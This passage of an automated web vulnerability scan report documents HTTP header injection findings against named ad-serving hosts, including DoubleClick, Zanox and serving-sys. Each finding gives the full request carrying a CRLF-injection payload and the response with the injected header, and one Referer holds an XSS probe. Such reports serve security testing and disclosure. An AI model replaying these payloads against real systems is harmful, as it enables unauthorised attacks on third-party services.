Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/8b0ee
76dcc98cc56/N815.zdenterprise/B4822628.25%3Bsz%3D1x1%3Bord%3D%5Btimestamp%5D:
Date: Sun, 06 Feb 2011 13:22:39 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.5. http://ad.doubleclick.net/ad/N815.zdenterprise/B5069510.14 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N815.zdenterprise/B5069510.14

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 5dc39%0d%0a0f8fde46ef2 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /5dc39%0d%0a0f8fde46ef2/N815.zdenterprise/B5069510.14;sz=1x1;ord=[timestamp]? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/5dc39
0f8fde46ef2/N815.zdenterprise/B5069510.14%3Bsz%3D1x1%3Bord%3D%5Btimestamp%5D:
Date: Sun, 06 Feb 2011 13:22:41 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.6. http://ad.doubleclick.net/ad/N815.zdenterprise/B5069510.30 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N815.zdenterprise/B5069510.30

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 5ecae%0d%0aaf16c007475 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /5ecae%0d%0aaf16c007475/N815.zdenterprise/B5069510.30;sz=1x1;ord=%n? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/5ecae
af16c007475/N815.zdenterprise/B5069510.30%3Bsz%3D1x1%3Bord%3D%25n:
Date: Sun, 06 Feb 2011 13:22:38 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.7. http://ad.doubleclick.net/ad/N815.zdenterprise/B5069510.9 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N815.zdenterprise/B5069510.9

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 2f022%0d%0a00140ddecd3 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /2f022%0d%0a00140ddecd3/N815.zdenterprise/B5069510.9;sz=1x1;ord=[timestamp]? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/2f022
00140ddecd3/N815.zdenterprise/B5069510.9%3Bsz%3D1x1%3Bord%3D%5Btimestamp%5D:
Date: Sun, 06 Feb 2011 13:22:38 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.8. http://ad.doubleclick.net/ad/entzd.eweek/ibmtutorial [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/entzd.eweek/ibmtutorial

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 36cf6%0d%0a6a7c8a5efd6 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /36cf6%0d%0a6a7c8a5efd6/entzd.eweek/ibmtutorial;sz=1x1;ord=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/36cf6
6a7c8a5efd6/entzd.eweek/ibmtutorial%3Bsz%3D1x1%3Bord%3D1:
Date: Sun, 06 Feb 2011 13:22:39 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.9. http://ad.doubleclick.net/ad/entzd.eweek/ibmwidget/cloudimu [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/entzd.eweek/ibmwidget/cloudimu

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 17ca4%0d%0a41f12a81071 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /17ca4%0d%0a41f12a81071/entzd.eweek/ibmwidget/cloudimu;sz=1x1;ord=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/17ca4
41f12a81071/entzd.eweek/ibmwidget/cloudimu%3Bsz%3D1x1%3Bord%3D1:
Date: Sun, 06 Feb 2011 13:22:41 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.10. http://ad.doubleclick.net/ad/entzd.eweek/ibmwidget/virtimu [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/entzd.eweek/ibmwidget/virtimu

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 22974%0d%0a6a1f47d2342 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /22974%0d%0a6a1f47d2342/entzd.eweek/ibmwidget/virtimu;sz=1x1;ord=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/22974
6a1f47d2342/entzd.eweek/ibmwidget/virtimu%3Bsz%3D1x1%3Bord%3D1:
Date: Sun, 06 Feb 2011 13:22:40 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.11. http://ad.doubleclick.net/adi/N553.158901.DATAXU/B4970757.11 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N553.158901.DATAXU/B4970757.11

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 14c2c%0d%0ab2351d233db was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /14c2c%0d%0ab2351d233db/N553.158901.DATAXU/B4970757.11;sz=468x60;pc=[TPAS_ID];ord=[timestamp]? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html?rtbhost=rts-rr13.sldc.dataxu.net&btid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkN8ZDA3NTFmYzItZjJkNS00NTY4LTlmMDMtMjJjYjVmZDA3NTU4fDEyOTY5NDI1NDI5NzF8MXwwRnJrVmZKY3hBfDBSOGxXZmxRMGZ8TURvMGxWVzRKS0RNNkxyVkdqdDV2ZUtjdUJINjNiV1F8&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TU3FzQAEo-kK5XsU5TApbEC2JVNdMc7sOaGvXw&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZya1ZmSmN4QQ&ciu=MFI4bFdmbFEwZg&reqid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkM&ccw=SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjB8SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjA&epid=&bp=4400&dv=&dm=&dc=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fwww.orthougm.com%2F&refurl=
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2818894/957634/15009,2409535/850532/15008,189445/526157/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/14c2c
b2351d233db/N553.158901.DATAXU/B4970757.11%3Bsz%3D468x60%3Bpc%3D%5BTPAS_ID%5D%3Bord%3D%5Btimestamp%5D:
Date: Sat, 05 Feb 2011 21:49:07 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.12. http://ad.doubleclick.net/adj/N553.158901.DATAXU/B4970757.11 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N553.158901.DATAXU/B4970757.11

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 42c36%0d%0abbd914c4d3b was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /42c36%0d%0abbd914c4d3b/N553.158901.DATAXU/B4970757.11 HTTP/1.1
Host: ad.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc;

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/42c36
bbd914c4d3b/N553.158901.DATAXU/B4970757.11:
Date: Sat, 05 Feb 2011 21:50:28 GMT
Server: GFE/2.0
Connection: close

<h1>Error 302 Moved Temporarily</h1>

3.13. http://ad.doubleclick.net/adj/entzd.base/itmanagement [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/entzd.base/itmanagement

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 75aa0%0d%0a89c0f58a50b was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /75aa0%0d%0a89c0f58a50b/entzd.base/itmanagement HTTP/1.1
Host: ad.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc;

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/75aa0
89c0f58a50b/entzd.base/itmanagement:
Date: Sun, 06 Feb 2011 17:17:44 GMT
Server: GFE/2.0
Connection: close

<h1>Error 302 Moved Temporarily</h1>

3.14. http://ad.doubleclick.net/adj/oiq.man.homeappliance/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/oiq.man.homeappliance/

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 80fc5%0d%0a18367c4310e was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /80fc5%0d%0a18367c4310e/oiq.man.homeappliance/;mfg=145;tile=1;sz=720x90,728x90;ord=1296942753;u=mfg_145%7Csid_ HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%2527%253balert%25281%2529%252f%252f35f276845e/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/80fc5
18367c4310e/oiq.man.homeappliance/%3Bmfg%3D145%3Btile%3D1%3Bsz%3D720x90%2C728x90%3Bord%3D1296942753%3Bu%3Dmfg_145%7Csid_:
Date: Sat, 05 Feb 2011 22:27:55 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.15. http://ad.doubleclick.net/jump/N553.158901.DATAXU/B4970757.11 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/jump/N553.158901.DATAXU/B4970757.11

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 56f15%0d%0a1b7eaef4d04 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /56f15%0d%0a1b7eaef4d04/N553.158901.DATAXU/B4970757.11 HTTP/1.1
Host: ad.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc;

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/56f15
1b7eaef4d04/N553.158901.DATAXU/B4970757.11:
Date: Sat, 05 Feb 2011 21:50:29 GMT
Server: GFE/2.0
Connection: close

<h1>Error 302 Moved Temporarily</h1>

3.16. http://ad.zanox.com/tpv/ [14786739C435671106&ULP parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.zanox.com
Path:	/tpv/

Issue detail

The value of the 14786739C435671106&ULP request parameter is copied into the Location response header. The payload d2ed0%0d%0acf60b7507b4 was submitted in the 14786739C435671106&ULP parameter. This caused a response containing an injected HTTP header.

Request

GET /tpv/?14786739C435671106&ULP=d2ed0%0d%0acf60b7507b4&zpar0=125_1_728x90_360_pvc_ad4matdedault HTTP/1.1
Host: ad.zanox.com
Proxy-Connection: keep-alive
Referer: http://www.ad4mat.de/ads/redir.php?nurl=aHR0cDovL2FkLnphbm94LmNvbS90cHYvPzE0Nzg2NzM5QzQzNTY3MTEwNiZVTFA9aHR0cDovL3d3dy56YW5veC1hZmZpbGlhdGUuZGUvdHB2Lz8xMTI1OTU4MEMxNDYzNzg2NTk3UzE0Nzg2NzM5VCZ6cGFyMD0xMjVfMV83Mjh4OTBfMzYwX3B2Y19hZDRtYXRkZWRhdWx0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ztvc=5C357927S1469378102382598159T0I14786739C0T0; zpvc=5C357927S1469378102382598159T0I14786739C0T0

Response

HTTP/1.1 302 Moved Temporarily
Connection: close
Date: Sun, 06 Feb 2011 17:39:07 GMT
Server: Microsoft-IIS/6.0
P3P: policyref="http://ad.zanox.com/w3c/p3p.xml", CP="NOI CUR OUR STP"
X-Powered-By: ASP.NET
Set-Cookie: zttpvc=5C114178S1469386944579519491T0I14786739C0T0; domain=.zanox.com; path=/
Set-Cookie: zptpvc=5C114178S1469386944579519491T0I14786739C0T0; expires=Sat, 07-May-2011 17:39:07 GMT; domain=.zanox.com; path=/
Content-Length: 0
Location: http://www.bild.ded2ed0
cf60b7507b4&zpar0=125_1_728x90_360_pvc_ad4matdedault?zanpid=14786739C435671106T1469386944579519491
pragma: no-cache
cache-control: no-store

3.17. http://ad.zanox.com/tpv/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.zanox.com
Path:	/tpv/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 96c36%0d%0a1e76b109467 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.

Request

GET /tpv/?14786739C435671106&ULP=http://www.zanox-affiliate.de/tpv/?11259580C1463786597S14786739T&zpar0=125_1_728x90_360_pvc_ad4matdedault&96c36%0d%0a1e76b109467=1 HTTP/1.1
Host: ad.zanox.com
Proxy-Connection: keep-alive
Referer: http://www.ad4mat.de/ads/redir.php?nurl=aHR0cDovL2FkLnphbm94LmNvbS90cHYvPzE0Nzg2NzM5QzQzNTY3MTEwNiZVTFA9aHR0cDovL3d3dy56YW5veC1hZmZpbGlhdGUuZGUvdHB2Lz8xMTI1OTU4MEMxNDYzNzg2NTk3UzE0Nzg2NzM5VCZ6cGFyMD0xMjVfMV83Mjh4OTBfMzYwX3B2Y19hZDRtYXRkZWRhdWx0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ztvc=5C357927S1469378102382598159T0I14786739C0T0; zpvc=5C357927S1469378102382598159T0I14786739C0T0

Response

HTTP/1.1 302 Moved Temporarily
Connection: close
Date: Sun, 06 Feb 2011 17:40:04 GMT
Server: Microsoft-IIS/6.0
P3P: policyref="http://ad.zanox.com/w3c/p3p.xml", CP="NOI CUR OUR STP"
X-Powered-By: ASP.NET
Set-Cookie: zttpvc=5C322704S1469387185567450118T0I14786739C0T0; domain=.zanox.com; path=/
Set-Cookie: zptpvc=5C322704S1469387185567450118T0I14786739C0T0; expires=Sat, 07-May-2011 17:40:04 GMT; domain=.zanox.com; path=/
Content-Length: 0
Location: http://www.zanox-affiliate.de/tpv/?11259580C1463786597S14786739T&zpar0=125_1_728x90_360_pvc_ad4matdedault&96c36
1e76b109467=1&zanpid=14786739C435671106T1469387185567450118
pragma: no-cache
cache-control: no-store

3.18. http://ad.zanox.com/tpv/ [zpar0 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.zanox.com
Path:	/tpv/

Issue detail

The value of the zpar0 request parameter is copied into the Location response header. The payload 8b1c7%0d%0aa5975a40bc was submitted in the zpar0 parameter. This caused a response containing an injected HTTP header.

Request

GET /tpv/?14786739C435671106&ULP=http://www.zanox-affiliate.de/tpv/?11259580C1463786597S14786739T&zpar0=8b1c7%0d%0aa5975a40bc HTTP/1.1
Host: ad.zanox.com
Proxy-Connection: keep-alive
Referer: http://www.ad4mat.de/ads/redir.php?nurl=aHR0cDovL2FkLnphbm94LmNvbS90cHYvPzE0Nzg2NzM5QzQzNTY3MTEwNiZVTFA9aHR0cDovL3d3dy56YW5veC1hZmZpbGlhdGUuZGUvdHB2Lz8xMTI1OTU4MEMxNDYzNzg2NTk3UzE0Nzg2NzM5VCZ6cGFyMD0xMjVfMV83Mjh4OTBfMzYwX3B2Y19hZDRtYXRkZWRhdWx0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ztvc=5C357927S1469378102382598159T0I14786739C0T0; zpvc=5C357927S1469378102382598159T0I14786739C0T0

Response

HTTP/1.1 302 Moved Temporarily
Connection: close
Date: Sun, 06 Feb 2011 17:39:12 GMT
Server: Microsoft-IIS/6.0
P3P: policyref="http://ad.zanox.com/w3c/p3p.xml", CP="NOI CUR OUR STP"
X-Powered-By: ASP.NET
Set-Cookie: zttpvc=5C127423S1469386967060988934T0I14786739C0T0; domain=.zanox.com; path=/
Set-Cookie: zptpvc=5C127423S1469386967060988934T0I14786739C0T0; expires=Sat, 07-May-2011 17:39:12 GMT; domain=.zanox.com; path=/
Content-Length: 0
Location: http://www.zanox-affiliate.de/tpv/?11259580C1463786597S14786739T&zpar0=8b1c7
a5975a40bc&zanpid=14786739C435671106T1469386967060988934
pragma: no-cache
cache-control: no-store

3.19. http://bs.serving-sys.com/BurstingPipe/BannerRedirect.asp [eyeblaster cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/BannerRedirect.asp

Issue detail

The value of the eyeblaster cookie is copied into the Set-Cookie response header. The payload 803fb%0d%0a71e6bfcf0d1 was submitted in the eyeblaster cookie. This caused a response containing an injected HTTP header.

Request

GET /BurstingPipe/BannerRedirect.asp HTTP/1.1
Host: bs.serving-sys.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: eyeblaster=BWVal=2657&BWDate=40580.359340&debuglevel=&FLV=10.1103&RES=128&WMPV=0803fb%0d%0a71e6bfcf0d1; B3=7lgH0000000001sG89PS000000000QsZ89PT000000000.sZ8mb20000000001t48i440000000001t28bwx0000000001t482790000000002t5852G0000000003sS8qav0000000001t57dNH0000000002sZ84ZE0000000001t67GHq0000000001s.7FCH0000000001s.84ZF0000000002t683xP0000000001sF8cVQ0000000001sV82980000000001t3852N0000000001s.84U10000000001t687ma0000000001s.6o.Q0000000001sY7gi30000000001sG8i430000000001t2852z0000000001sS852A0000000001sS; A3=f+JvabEk02WG00002h5iUabNz07l00000Qh5j3abNz07l00000.gLnTaeKR09sO00001gYyfadw90cvM00001gn3Ka4JO09MY00001gNfHaaiN0aVX00001fU+La50V0a+r00001gL2MadKj0bdR00001gYRSaeKR09sO00001gFjwaeKR09sO00001gKXMaepH0bdR00001h802ae7k0c6L00001fUFGa50V02WG00001gYx+adw90cvM00001gKXNaepP0bdR00001gy3.ach00c9M00001gHrHaeKS09sO00001cRreabeg03Dk00001heXiaeru0c9M00001gy7La9bU0c9M00003gy5Da9bU0c9M00001gCTVa9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001ge4Hack+0bM000001gNQ4ae7r0c9M00001; u2=1f5940fe-c0d1-459f-8c91-e4475c881fca3Gz010; C4=; ActivityInfo=000p81bCx%5f; u3=1;

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Length: 0
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Set-Cookie: eyeblaster=BWVal=2657&BWDate=40580.359340&debuglevel=&FLV=10.1103&RES=128&WMPV=0803fb
71e6bfcf0d1; expires=Sat, 07-May-2011 12: 18:54 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: u2=1f5940fe-c0d1-459f-8c91-e4475c881fca3Gz01g; expires=Sat, 07-May-2011 12:18:54 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 06 Feb 2011 17:18:54 GMT
Connection: close

3.20. http://bs.serving-sys.com/BurstingPipe/BannerSource.asp [eyeblaster cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/BannerSource.asp

Issue detail

The value of the eyeblaster cookie is copied into the Set-Cookie response header. The payload 3b588%0d%0ae9f2ac9bef5 was submitted in the eyeblaster cookie. This caused a response containing an injected HTTP header.

Request

GET /BurstingPipe/BannerSource.asp HTTP/1.1
Host: bs.serving-sys.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: eyeblaster=BWVal=2657&BWDate=40580.359340&debuglevel=&FLV=10.1103&RES=128&WMPV=03b588%0d%0ae9f2ac9bef5; B3=7lgH0000000001sG89PS000000000QsZ89PT000000000.sZ8mb20000000001t48i440000000001t28bwx0000000001t482790000000002t5852G0000000003sS8qav0000000001t57dNH0000000002sZ84ZE0000000001t67GHq0000000001s.7FCH0000000001s.84ZF0000000002t683xP0000000001sF8cVQ0000000001sV82980000000001t3852N0000000001s.84U10000000001t687ma0000000001s.6o.Q0000000001sY7gi30000000001sG8i430000000001t2852z0000000001sS852A0000000001sS; A3=f+JvabEk02WG00002h5iUabNz07l00000Qh5j3abNz07l00000.gLnTaeKR09sO00001gYyfadw90cvM00001gn3Ka4JO09MY00001gNfHaaiN0aVX00001fU+La50V0a+r00001gL2MadKj0bdR00001gYRSaeKR09sO00001gFjwaeKR09sO00001gKXMaepH0bdR00001h802ae7k0c6L00001fUFGa50V02WG00001gYx+adw90cvM00001gKXNaepP0bdR00001gy3.ach00c9M00001gHrHaeKS09sO00001cRreabeg03Dk00001heXiaeru0c9M00001gy7La9bU0c9M00003gy5Da9bU0c9M00001gCTVa9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001ge4Hack+0bM000001gNQ4ae7r0c9M00001; u2=1f5940fe-c0d1-459f-8c91-e4475c881fca3Gz010; C4=; ActivityInfo=000p81bCx%5f; u3=1;

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Length: 0
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Set-Cookie: eyeblaster=BWVal=2657&BWDate=40580.359340&debuglevel=&FLV=10.1103&RES=128&WMPV=03b588
